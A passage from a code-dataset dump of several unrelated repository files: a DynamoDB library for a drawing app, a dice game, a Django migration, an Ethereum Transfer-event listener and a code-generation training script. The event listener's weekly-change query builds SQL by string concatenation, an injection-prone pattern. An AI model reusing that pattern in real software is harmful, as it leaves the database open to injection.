3\": '16',\r\n \"Pattern 4\": '17',\r\n \"The Man, The Myth, The Legend\": '18',\r\n \"Cool\": '19'\r\n }\r\n background = f'backgrounds/png/{titles[backgroundId]}.png'\r\n try:\r\n head = boto3.client('s3').head_object(\r\n Bucket='artsy-bucket', \r\n Key=background\r\n ) \r\n except:\r\n raise DatabaseException(\"purchase_background\", f'background: {background} does not exist')\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET backgrounds = list_append(backgrounds, :b)',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":b\": [backgroundId] }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_background\", \"userId does not exist\")\r\n\r\ndef add_raw_breath(userId, breath):\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET breathHistory = list_append(breathHistory, :b)',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":b\": [breath] }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_brush\", \"userId does not exist\")\r\n\r\ndef set_baseline(userId, val):\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET baseline = :b',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":b\": val }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"set_baseline\", \"userId does not exist\")\r\n \r\ndef add_breath(userId):\r\n try:\r\n count = user_table.get_item(\r\n Key={'userId': userId},\r\n ProjectionExpression='breathCount'\r\n )['Item']['breathCount']\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET breathCount = :b',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":b\": count%10+1 }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_breath\", \"userId does not exist\")\r\n\r\ndef set_unlimited(userId, time):\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET unlimitedExpiration = :b',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":b\": time }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"set_unlimited\", \"userId does not exist\")\r\n\r\n\r\ndef export_breath_data():\r\n response = user_table.scan(\r\n ProjectionExpression='userId, breathHistory',\r\n )\r\n if ('Items' in response.keys()):\r\n return response['Items']\r\n else:\r\n return []\r\n \r\n##########################################################\r\n############ ################\r\n############ Drawing Table Library ################\r\n############ ################\r\n##########################################################\r\n\r\n\r\ndef create_drawing(userId, drawingId, coloringPage, time):\r\n try:\r\n drawing_table.put_item(\r\n Item = {\r\n 'drawingId': drawingId,\r\n 'published': False,\r\n 'modified': time,\r\n 'coloringPage': coloringPage,\r\n 'title': '',\r\n 'tags': {TAGS[i]: [] for i in range(0, NUMTAGS)},\r\n 'saved': False,\r\n 'comments': []\r\n },\r\n ConditionExpression=Attr('drawingId').not_exists()\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"create_drawing\", \"drawingId already exists\")\r\n try:\r\n user_table.update_item(\r\n Key={\r\n 'userId': userId\r\n },\r\n UpdateExpression='SET drawings = list_append(drawings, :d)',\r\n ConditionExpression=Attr('userId').eq(userId),\r\n ExpressionAttributeValues={ \":d\": [drawingId] }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n delete_drawing(drawingId)\r\n raise DatabaseException(\"create_drawing\", \"userId does not exist\")\r\n \r\n\r\ndef delete_drawing(drawingId):\r\n drawing_table.delete_item(\r\n Key={\r\n 'drawingId': drawingId\r\n }\r\n )\r\n\r\ndef get_drawing_attr(drawingId, attrs):\r\n projection = ', '.join(attrs)\r\n response = drawing_table.get_item(\r\n Key={'drawingId': drawingId},\r\n ProjectionExpression=projection\r\n )\r\n if ('Item' in response.keys()):\r\n return response['Item']\r\n else:\r\n raise DatabaseException(\"get_drawing_attr\", \"drawingId does not exist\")\r\n\r\ndef publish_drawing(drawingId):\r\n try:\r\n drawing_table.update_item(\r\n Key={\r\n 'drawingId': drawingId\r\n },\r\n UpdateExpression='SET published = :b',\r\n ConditionExpression=Attr('drawingId').eq(drawingId),\r\n ExpressionAttributeValues={ \":b\": True }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"publish_drawing\", \"drawingId does not exist\")\r\n \r\ndef set_title(drawingId, title):\r\n try:\r\n drawing_table.update_item(\r\n Key={\r\n 'drawingId': drawingId\r\n },\r\n UpdateExpression='SET title = :b',\r\n ConditionExpression=Attr('drawingId').eq(drawingId),\r\n ExpressionAttributeValues={ \":b\": title }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"set_title\", \"drawingId does not exist\")\r\n \r\ndef update_modified(drawingId, time):\r\n try:\r\n drawing_table.update_item(\r\n Key={\r\n 'drawingId': drawingId\r\n },\r\n UpdateExpression='SET modified = :b, saved = :t',\r\n ConditionExpression=Attr('drawingId').eq(drawingId),\r\n ExpressionAttributeValues={ \":b\": time, \":t\": True }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"update_modified\", \"drawingId does not exist\")\r\n \r\ndef unpublish_drawing(drawingId):\r\n try:\r\n drawing_table.update_item(\r\n Key={\r\n 'drawingId': drawingId\r\n },\r\n UpdateExpression='SET published = :b',\r\n ConditionExpression=Attr('drawingId').eq(drawingId),\r\n ExpressionAttributeValues={ \":b\": False }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"unpublish_drawing\", \"drawingId does not exist\")\r\n \r\ndef add_like(drawingId):\r\n try:\r\n drawing_table.update_item(\r\n Key={\r\n 'drawingId': drawingId\r\n },\r\n UpdateExpression='ADD likes :one',\r\n ConditionExpression=Attr('drawingId').eq(drawingId),\r\n ExpressionAttributeValues={ \":one\": 1 }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_like\", \"drawingId does not exist\")\r\n \r\ndef fetch_gallery_all():\r\n response = drawing_table.scan(\r\n ProjectionExpression='drawingId, title, coloringPage, modified',\r\n FilterExpression=Attr('published').eq(True) & Attr('saved').eq(True)\r\n )\r\n if ('Items' in response.keys()):\r\n return response['Items']\r\n else:\r\n return []\r\n \r\ndef fetch_gallery_coloringPages():\r\n response = drawing_table.scan(\r\n ProjectionExpression='drawingId, title, coloringPage, modified',\r\n FilterExpression=Attr('published').eq(True) & Attr('coloringPage').ne('') & Attr('saved').eq(True)\r\n )\r\n if ('Items' in response.keys()):\r\n return response['Items']\r\n else:\r\n return []\r\n \r\ndef fetch_gallery_canvases():\r\n response = drawing_table.scan(\r\n ProjectionExpression='drawingId, title, modified',\r\n FilterExpression=Attr('published').eq(True) & Attr('coloringPage').eq('') & Attr('saved').eq(True)\r\n )\r\n if ('Items' in response.keys()):\r\n return response['Items']\r\n else:\r\n return []\r\n\r\ndef fetch_user_art_all(userId):\r\n user = get_user_attr(userId, ['drawings'])\r\n drawings = user['drawings']\r\n if len(drawings) == 0:\r\n return []\r\n response = drawing_table.scan(\r\n ProjectionExpression='drawingId, title, coloringPage, modified',\r\n FilterExpression=Attr('drawingId').is_in(drawings) & Attr('saved').eq(True)\r\n )\r\n if ('Items' in response.keys()):\r\n return response['Items']\r\n else:\r\n raise DatabaseException(\"fetch_user_art_all\", \"userId does not exist\")\r\n \r\ndef fetch_user_art_coloringPages(userId):\r\n user = get_user_attr(userId, ['drawings'])\r\n drawings = user['drawings']\r\n if len(drawings) == 0:\r\n return []\r\n response = drawing_table.scan(\r\n ProjectionExpression='drawingId, title, coloringPage, modified',\r\n FilterExpression=Attr('drawingId').is_in(drawings) & Attr('coloringPage').ne('') & Attr('saved').eq(True)\r\n )\r\n if ('Items' in response.keys()):\r\n return response['Items']\r\n else:\r\n raise DatabaseException(\"fetch_user_art_coloringPages\", \"userId does not exist\")\r\n \r\ndef fetch_user_art_canvases(userId):\r\n user = get_user_attr(userId, ['drawings'])\r\n drawings = user['drawings']\r\n if len(drawings) == 0:\r\n return []\r\n response = drawing_table.scan(\r\n ProjectionExpression='drawingId, title, modified',\r\n FilterExpression=Attr('drawingId').is_in(drawings) & Attr('coloringPage').eq('') & Attr('saved').eq(True)\r\n )\r\n if ('Items' in response.keys()):\r\n return response['Items']\r\n else:\r\n raise DatabaseException(\"fetch_user_art_canvases\", \"userId does not exist\")\r\n\r\ndef add_drawing_tag(drawingId, tag, userId):\r\n #Currently no error check to see if user has already added a tag\r\n #also no check to see if valid tag\r\n if (tag not in TAGS):\r\n raise DatabaseException(\"add_drawing_tag\", \"tag does not exist\")\r\n \r\n try:\r\n drawing_table.update_item(\r\n Key={\r\n 'drawingId': drawingId\r\n },\r\n UpdateExpression='SET #ta.#tb = list_append(#ta.#tb, :i)',\r\n ConditionExpression=Attr('drawingId').eq(drawingId),\r\n ExpressionAttributeNames ={ \"#ta\": \"tags\", \"#tb\": tag},\r\n ExpressionAttributeValues={ \":i\": [userId] }\r\n )\r\n except botocore.exceptions.ClientError as e:\r\n if e.response['Error']['Code'] != 'ConditionalCheckFailedException':\r\n raise\r\n raise DatabaseException(\"add_drawing_tag\", \"drawingId does not exist\")\r\n\r\n\r\ndef get_drawing_tags(drawingId, userId):\r\n raw_tag_data = get_drawing_attr(drawingId, ['tags'])\r\n return {key: {\"count\": len(value) ,\"user_given\": userId in value} for key, value in raw_tag_data['tags'].items()}\r\n\r\n\r\n","repo_name":"hadpeter/495-artsy","sub_path":"package/dblib.py","file_name":"dblib.py","file_ext":"py","file_size_in_byte":18083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39605032564","text":"from random import randint\nfrom time import sleep\nfrom operator import itemgetter\njogadas = {'jogador_1': randint(1,6),\n 'jogador_2': randint(1,6),\n 'jogador_3': randint(1,6),\n 'jogador_4': randint(1,6)}\nranking = []\nprint(f'{\"Preparando jogadas\":^40}')\nprint('=-'*20)\nsleep(1.5)\nfor key, valor in jogadas.items():\n print(f'O {key} tirou: {valor}')\n sleep(1)\nprint('=-'*20)\nranking = sorted(jogadas.items(), key=itemgetter(1), reverse=True)\nprint(f'{\" == Ranking dos jogadores ==\":^40}')\nfor indece, valor in enumerate(ranking):\n print(f'O {indece+1}° lugar: {valor[0]} com {valor[1]}')\n sleep(1)","repo_name":"takamuio/DesafiosAulaYoutube","sub_path":"venv/teste91.py","file_name":"teste91.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71389725587","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('provider', '0001_initial'),\n ('totales', '0003_auto_20160602_2124'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Compras',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('invoice', models.CharField(max_length=10, null=True, verbose_name=b'invoice')),\n ('date', models.DateTimeField(auto_now_add=True, verbose_name=b'date')),\n ('provider', models.ForeignKey(to='provider.Provider', null=True)),\n ],\n ),\n migrations.RemoveField(\n model_name='author',\n name='provider',\n ),\n migrations.AlterField(\n model_name='book',\n name='author',\n field=models.ForeignKey(to='totales.Compras'),\n ),\n migrations.DeleteModel(\n name='Author',\n ),\n ]\n","repo_name":"ChrisTacam/fashionpearls","sub_path":"totales/migrations/0004_auto_20160602_2136.py","file_name":"0004_auto_20160602_2136.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18917859334","text":"import logging\nimport time\nimport threading\nimport eth_event\nfrom web3 import Web3\nfrom src.utils import get_dict_file\nfrom src.database_manager import DataBaseManager\nfrom dotenv import load_dotenv\nload_dotenv()\nlogging.addLevelName(24, \"CONNECTION\")\nlogging.addLevelName(25, \"BLOCKS INFO\")\nlogging.addLevelName(26, \"DATABASE\")\nfrom datetime import datetime, timedelta\n\nclass Events_Listener():\n def __init__(self):\n # Contract ABI for decoding events\n self.contract_abi = get_dict_file(\"./files/abi.json\")\n self.topic_map = eth_event.get_topic_map(self.contract_abi)\n # Contract address to listen for events on\n self.contract_address = \"0xBAac2B4491727D78D2b78815144570b9f2Fe8899\"\n # Web3 instance for connecting to the provider\n self.web3 = None\n # Thread pool for fetch_events_in_blocks\n self.threads = []\n self.max_threads = 8\n self.infura_key = \"your_infura_api_key\"\n self.db_manager = DataBaseManager()\n self.total_supply = self.get_total_supply()\n\n def connect_to_provider(self):\n \"\"\"\n @Notice: This function is used to connect the contract to the web3 provider\n @Dev: We first create a web3 instance linked to the Infura provider and then we instantiate\n the contract using the web3 provider\n \"\"\"\n try:\n self.web3 = Web3(Web3.HTTPProvider(\"https://mainnet.infura.io/v3/\" + self.infura_key))\n tries = 5\n # Check for connection and retry if unsuccessful\n while self.web3.isConnected() is False and tries >= 0:\n logging.info(\"waiting for web3 connection...\")\n time.sleep(2)\n self.web3 = Web3(Web3.HTTPProvider(\"https://mainnet.infura.io/v3/\" + self.infura_key))\n tries -= 1\n return self.web3\n except Exception as e:\n raise e\n\n def provider(self):\n \"\"\"\n @Notice: This function will check for existing web3 connection or connect to the provider\n @Return: web3 instance\n \"\"\"\n if self.web3 is None or self.web3.isConnected() is False:\n return self.connect_to_provider()\n return self.web3\n\n def fetch_events(self):\n \"\"\"\n @Notice: This function will listen for new blocks to explore\n @Dev: We first define from which block to start the exploration.\n We call the fetch_events_in_blocks method to explore the blocks.\n \"\"\"\n try:\n current_block_number = None\n while 42:\n current_block_number, last_block_number = self.get_current_block_number(current_block_number)\n logging.log(25, \"from #\" + str(current_block_number) + \" to #\" + str(last_block_number))\n current_block_number = self.fetch_events_in_blocks(current_block_number, last_block_number)\n self.waiting_for_new_blocks( current_block_number, last_block_number)\n except Exception as e:\n raise e\n\n def fetch_events_in_blocks(self, current_block_number: int, last_block_number: int):\n \"\"\"\n @Notice: Iterate over block numbers to decode their transaction hashes and find events\n @param: current_block_number: int : the last block number that was processed\n @param: last_block_number: int : the last block number on the blockchain\n @return: int : the last processed block number\n @Dev: If the last_block_number is None, we get the last block number on the blockchain. \n Then, we start a new thread for the current block only if the thread pool is not full, otherwise we wait for a thread to finish. \n \"\"\"\n try:\n if last_block_number is None:\n last_block_number = self.get_last_block_number()\n while current_block_number <= last_block_number:\n # Wait for a thread to finish if the thread pool is full\n while len(self.threads) >= self.max_threads:\n for t in self.threads:\n if not t.is_alive():\n self.threads.remove(t)\n # Start a new thread for the current block\n t = threading.Thread(target=self.explore_block, args=(current_block_number,))\n t.start()\n self.threads.append(t)\n current_block_number += 1\n return current_block_number\n except Exception as e:\n raise e\n\n def explore_block(self, block_num: int):\n \"\"\"\n @Notice: This function will search for events in the given block number\n @param block_num: The block number to explore\n @Dev: We get the block by calling the get_block method on the web3 provider, \n then we call the decode_block_transactions_hash method to decode the block's transaction hashes and find events. \n \"\"\"\n logging.info(\"searching events on block #\" + str(block_num))\n block = self.provider().eth.get_block(block_num)\n self.decode_block_transactions_hash(block, block_num)\n \n def decode_block_transactions_hash(self, current_block, block_number: int):\n \"\"\"\n @Notice: This method will decode the transaction hashes in a block to find events\n @param current_block: The current block to explore\n @param block_number: The current block number\n @Dev: We iterate over the block's transaction hashes and for each one, we call the get_transaction_receipt method on the web3 provider to get the transaction receipt, \n then we iterate over the logs in the receipt and try to decode them using the topic_map.\n \"\"\"\n for tx_hash in current_block['transactions']:\n receipt = self.provider().eth.get_transaction_receipt(tx_hash)\n if self.is_one_of_us(receipt):\n try:\n events = eth_event.decode_logs(receipt.logs, self.topic_map)\n except BaseException:\n continue\n if events:\n timestamp = self.provider().eth.get_block(receipt['blockNumber']).timestamp\n self.handle_event(events, tx_hash.hex(), datetime.fromtimestamp(timestamp), block_number)\n\n def is_one_of_us(self, receipt):\n \"\"\"\n @Notice: This function is used to check if the contract address we are looking for is on the receipt\n @param: receipt: the transaction receipt\n @return: bool: True if the contract_address is on the receipt, False otherwise\n @Dev: We check if the receipt's 'to' field or 'contractAddress' field is not None and equal to the contract address we are looking for\n \"\"\"\n return (receipt['to'] is not None and receipt['to'] == self.contract_address) or (receipt['contractAddress'] is not None and receipt['contractAddress'] == self.contract_address)\n\n def waiting_for_new_blocks(self, current_block_number, last_block_number):\n \"\"\"\n @Notice: This function is used to wait for new blocks to be mined and return the latest block number\n @param: current_block_number: the last block number that was processed\n @param: last_block_number: the last block number available\n @Dev: We keep checking for new blocks until the last_block_number is less than current_block_number.\n \"\"\"\n logging.log(25, \"waiting for not explored blocks...\")\n while last_block_number < current_block_number:\n last_block_number = self.get_last_block_number()\n logging.log(25, \"new blocks found, will explore now from #\" + str(current_block_number) + \" to #\" + str(last_block_number))\n\n def get_current_block_number(self, current_block_number):\n \"\"\"\n @Notice: This function will return the last processed block number from the recorded block file\n @param: current_block_number: the last processed block number\n @return: The last processed block number and the current block number\n \"\"\"\n try:\n last_block_number = self.get_last_block_number()\n if current_block_number is None:\n current_block_number = last_block_number\n return current_block_number, last_block_number\n except Exception as e:\n raise e\n\n def get_last_block_number(self):\n \"\"\"\n @Notice: This function will return the current block number from the provider\n @return: The current block number\n @Dev: We call the get_block method on the web3 provider and return the result\n \"\"\"\n return int(self.provider().eth.get_block('latest')['number'])\n\n def handle_event(self, events, transaction_hash, timestamp, block_number):\n \"\"\"\n @Notice: This function handle events and insert the balance of the addresses in the user_balance table and the event information in transfer_events\n @param events: The events that need to be handled\n @param block_number: current block number\n @param transaction_hash: transaction hash\n @param timestamp: the transaction timestamp\n @Dev: This function uses the insert_user_ballance function to insert the balance of the addresses and insert_event to insert events\n \"\"\"\n for event in events:\n if event['name'] == \"Transfer\":\n self.insert_event(event, transaction_hash, timestamp)\n self.insert_user_balance(event['data'][0]['value'], transaction_hash, timestamp, block_number)\n self.insert_user_balance(event['data'][1]['value'], transaction_hash, timestamp, block_number)\n \n def get_balance(self, address, block_number):\n \"\"\"\n @Notice: This function returns the balance the token for a specific address\n @param address: The address you want to get the balance of\n @return: The balance of the address in wei unit\n \"\"\"\n # Call the function and get the balance\n balance_in_wei = self.provider().eth.get_balance(Web3.toChecksumAddress(address), block_number)\n balance_in_ether = self.web3.fromWei(balance_in_wei, 'ether')\n return balance_in_ether\n \n def insert_user_balance(self, address, transaction_hash, timestamp, block_number):\n \"\"\"\n @Notice: This function insert or updates the balance of a specific address \n in the user_balance table.\n @param address: The address you want to insert/update the balance\n @param transaction_hash: The event transaction_hash\n @param block_number: current block number\n @param timestamp: the transaction timestamp\n @Dev: This function uses the get_balance function to get the balance of the address and uses\n calculate_weekly_change function to get the weekly changes percentage value\n \"\"\"\n balance = self.get_balance(address, block_number)\n weekly_change = self.calculate_weekly_change(address, balance, timestamp)\n self.db_manager.execute(query=\"\"\"INSERT INTO user_balance (balance, address, transaction_hash, transaction_date, total_supply_pct, weekly_change_pct)\n SELECT %s, %s, %s, %s, %s, %s\n WHERE NOT EXISTS (\n SELECT 1 FROM user_balance\n WHERE address = %s AND transaction_hash = %s);\"\"\", item_tuple=(balance, address, transaction_hash, timestamp, self.calculate_total_supply_pct(balance), weekly_change, address, transaction_hash))\n logging.log(26, \"user \" + str(address) + \" balance inserted from block #\" + str(block_number))\n \n def calculate_total_supply_pct(self, balance):\n \"\"\"\n @Notice: to calculate the total supply percentage of a given balance.\n @Dev: This function calculates the percentage of a given balance against the total supply.\n @param balance: the balance to calculate the total supply percentage for.\n @return: the total supply percentage of the given balance.\n \"\"\"\n if balance == 0:\n return 0\n total_supply_pct = (balance / self.total_supply) * 100\n return total_supply_pct\n \n def calculate_weekly_change(self, address, balance, timestamp):\n \"\"\"\n @Notice: to calculate the weekly change of a balance for a given address.\n @Dev: This function calculates the percentage change of a balance for a given address \n for a given date compared to the previous week.\n @param address: the address to calculate the weekly change for.\n @param balance: the current balance of the user address.\n @param timestamp: the transaction timestamp.\n @return: the weekly change of the balance for the given address.\n \"\"\"\n new_timestamp = timestamp - timedelta(days=7)\n records = self.db_manager.select_all(query=\"\"\"SELECT balance FROM user_balance\n WHERE address = '\"\"\" + address + \"\"\"' AND transaction_date <= '\"\"\" + str(new_timestamp) + \"\"\"' ORDER BY transaction_date DESC LIMIT 1;\"\"\")\n\n if len(records) == 0 or len(records[0]) == 0 or records[0][0] == None:\n return None\n elif float(balance) == 0.0 and records[0][0] == 0.0:\n return 0.0\n elif records[0][0] == 0.0:\n return None\n \n change_cp_to_last_week = ((float(balance) - records[0][0]) / records[0][0]) * 100\n return change_cp_to_last_week\n \n def insert_event(self, event, transaction_hash, timestamp):\n \"\"\"\n @Notice: This function insert the event record in the transfer_events table.\n @param event: The event you want to insert\n @param transaction_hash: The event transaction_hash\n @param timestamp: the transaction timestamp.\n \"\"\"\n self.db_manager.execute(query=\"\"\"INSERT INTO transfer_events (event_args, transaction_hash, event_name, contract_address, transaction_date)\n SELECT %s, %s, %s, %s, %s\n WHERE NOT EXISTS (\n SELECT 1 FROM transfer_events\n WHERE transaction_hash = %s);\"\"\", item_tuple=(str(event['data']), transaction_hash, event['name'], self.contract_address, timestamp, transaction_hash))\n logging.log(26, \"transfer events record inserted from transaction hash \" + str(transaction_hash))\n\n def get_total_supply(self):\n \"\"\"\n @Notice: This function returns the total supply of the token contract\n @Dev: This function uses the web3.eth.contract function to get the contract object\n @return: total supply of the token in wei unit.\n \"\"\"\n contract = self.provider().eth.contract(address=self.contract_address, abi=self.contract_abi)\n # The function that returns the total supply\n total_supply_function = contract.functions.totalSupply()\n # Call the function and get the total supply\n total_supply = total_supply_function.call()\n return self.web3.fromWei(total_supply, 'ether')","repo_name":"SkyzoNams/onchain-events-listener","sub_path":"Practical/src/events_handler.py","file_name":"events_handler.py","file_ext":"py","file_size_in_byte":14912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26792379574","text":"import argparse\nimport os\nimport pickle\nimport numpy as np\nfrom pretrain_utils import count_parameters, update_dfg_metrics, update_ast_metrics, decode_and_write_to_file\nfrom modeling_structcoder import StructCoderForConditionalGeneration\nimport torch\nfrom tqdm import tqdm\nfrom sklearn.metrics import average_precision_score\nfrom bleu import _bleu\nimport sys\nsys.path.append('CodeBLEU')\nfrom calc_code_bleu import calc_code_bleu\nfrom finetune_translation_utils import prepare_code_outputs, load_model, calc_xmatch\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n \n # train or test or both\n parser.add_argument('--do_train', type=int, default=1)\n parser.add_argument('--do_test', type=int, default=1)\n \n # pretrained weights if args.do_train, finetuned weights if not\n parser.add_argument(\"--load_model_path\", default='saved_models/pretrain/checkpoint_best_at_175000.bin', type=str)\n \n # ablation\n parser.add_argument('--model_size', type=str, default='none') \n \n # target language\n parser.add_argument(\"--target_lang\", default='java', type=str) \n\n # max lengths\n parser.add_argument('--max_length_source_text', type=int, default=320) \n parser.add_argument(\"--max_ast_depth\", default=17, type=int)\n parser.add_argument('--max_length_target_code', type=int, default=150) # for get_batch(), max_length_target_code<=max_length_source_code\n \n # optimization hyperparameters\n parser.add_argument('--lr', type=float, default=1e-5)\n parser.add_argument('--gradient_accumulation_steps', type=int, default=1)\n parser.add_argument('--train_batch_size', type=int, default=32)\n parser.add_argument('--dfg_loss_weight', type=float, default=0.1) # LM loss weight is always 1\n parser.add_argument('--ast_loss_weight', type=float, default=0.1) \n \n # testing hyperparameters\n parser.add_argument('--validate_after', type=int, default=0) # validate only after __ training steps\n parser.add_argument('--validate_every', type=int, default=3000) # validate every __ training batches\n parser.add_argument('--eval_batch_size', type=int, default=32)\n parser.add_argument('--num_eval_batches_aux', type=int, default=20000)\n parser.add_argument('--num_eval_batches_bleu', type=int, default=20000)\n parser.add_argument('--num_beams', type=int, default=10)\n \n # logging and other hyperparameters\n parser.add_argument('--resume', type=int, default=0) # whether to continue training with the last ckpt for this config\n parser.add_argument('--print_train_loss_every', type=int, default=100) # print train loss every __ training batches\n parser.add_argument('--checkpoint_every', type=int, default=15000) # save best model weights for every __ training batches\n parser.add_argument('--patience', type=int, default=500000) # no. of validation steps with no improvement after which to stop training\n parser.add_argument('--max_steps', type=int, default=300000)\n parser.add_argument('--seed', type=int, default=2022) # for RNGs\n parser.add_argument('--output_dir', type=str, default=None) \n # output_dir is directory to save log file, checkpoints, etc. Set to None to automatically set this in set_output_dir()\n\n args = parser.parse_args()\n return args\n\n\ndef set_output_dir(args):\n if args.output_dir is not None:\n return\n args.output_dir = 'saved_models/codexglue_generation/'\n for argument in ['lr', 'max_length_source_text', 'max_length_target_code', \n 'dfg_loss_weight', 'ast_loss_weight', 'num_beams', 'train_batch_size']:\n args.output_dir += argument+'_'+str(getattr(args,argument))\n args.output_dir += '/'\n os.makedirs(args.output_dir, exist_ok=True)\n \n \n \n# linking matrix from list of lists\ndef get_link_mat_from_ll(ll, num_cols):\n m = np.zeros((len(ll), num_cols))\n for i,l in enumerate(ll):\n m[i,l] = 1\n return m\n \n \n# truncate to max lengths, and save as arrays or lists\ndef prepare_text_inputs(data, args):\n input_ids = []\n for l in data['nl_tokens']:\n if len(l)>2+args.max_length_source_text:\n l = l[:1+args.max_length_source_text]+[l[-1]]\n input_ids.append(l)\n text_inputs= {'input_ids':input_ids}\n return text_inputs\n\n \ndef read_data(args):\n data_by_split = pickle.load(open('data/codexglue_generation/preprocessed_data_by_split.pkl', 'rb'))\n for split, data in data_by_split.items():\n data_by_split[split] = {'text_inputs':prepare_text_inputs(data, args), 'code_outputs':prepare_code_outputs(data, args)}\n return data_by_split\n \n \ndef get_batch(data, batch_ind, args):\n bsz = len(batch_ind)\n \n # 1. Textputs\n text_inputs = {}\n for k in data['text_inputs']:\n text_inputs[k] = [data['text_inputs'][k][i] for i in batch_ind]\n \n # 1.1. input_ids and attention_mask\n text_lens = np.array([len(l) for l in text_inputs['input_ids']])\n max_text_len = text_lens.max()\n text_pad_lens = max_text_len - text_lens\n text_inputs['input_ids'] = torch.LongTensor([l+[args.tokenizer.pad_token_id]*p\n for l,p in zip(text_inputs['input_ids'],text_pad_lens)]).to(args.device)\n text_inputs['attention_mask'] = torch.FloatTensor([[1]*c+[0]*p for c,p in zip(text_lens,text_pad_lens)]).to(args.device)\n if 'code_outputs' not in data:\n return {'text_inputs':text_inputs}\n \n # 2. Code outputs\n code_outputs = {}\n for k in ['input_ids', 'dfg_dfg_links', 'ast_paths']:\n code_outputs[k] = [data['code_outputs'][k][i] for i in batch_ind]\n \n # 2.1. input_ids and attention_mask\n code_lens = np.array([len(l) for l in code_outputs['input_ids']])\n max_code_len = max(code_lens)\n pad_lens = max_code_len - code_lens\n code_outputs['input_ids'] = torch.LongTensor([l+[args.tokenizer.pad_token_id]*p\n for l,p in zip(code_outputs['input_ids'],pad_lens)]).to(args.device)\n code_outputs['attention_mask'] = torch.FloatTensor([[1]*c+[0]*p for c,p in zip(code_lens,pad_lens)]).to(args.device)\n \n # 2.2. dfg_dfg_links\n dfg_dfg_links = -np.ones((bsz, max_code_len,max_code_len))\n for i,(m,c) in enumerate(zip(code_outputs['dfg_dfg_links'], code_lens)):\n dfg_dfg_links[i,:c,:c] = m\n code_outputs['dfg_dfg_links'] = torch.FloatTensor(dfg_dfg_links).to(args.device)\n \n # 2.3. ast_paths\n ast_paths = -np.ones((bsz, max_code_len, args.max_ast_depth))\n for i,(m,c) in enumerate(zip(code_outputs['ast_paths'], code_lens)):\n ast_paths[i,:c,:] = m\n code_outputs['ast_paths'] = torch.LongTensor(ast_paths).to(args.device)\n \n return {'text_inputs':text_inputs, 'code_outputs':code_outputs}\n \n\ndef test(model, data, args, train_step=None, split='test'):\n # performance on ast and dfg tasks, bleu and codebleu for generation, 3 losses\n args.logger.write('Results on '+split+' set at step '+str(train_step))\n model.eval()\n num_data = len(data['text_inputs']['input_ids'])\n cum_loss, num_batches = 0, 0\n dfg_metrics = {'true':[], 'pred':[]}\n ast_metrics = {'total':0, 'correct':0}\n preds = []\n \n with torch.no_grad():\n for start in tqdm(range(0, num_data, args.eval_batch_size)):\n batch_ind = list(range(start, min(start+args.eval_batch_size, num_data)))\n batch_io = get_batch(data, batch_ind, args)\n \n # next token prediction\n if num_batches= 3 and data[0] == ord(b'P') and data[1] in b'14' and data[2] in b' \\t\\n\\r':\n # filetype = 'pbm'\n # elif len(data) >= 3 and data[0] == ord(b'P') and data[1] in b'25' and data[2] in b' \\t\\n\\r':\n # filetype = 'pgm'\n # elif len(data) >= 3 and data[0] == ord(b'P') and data[1] in 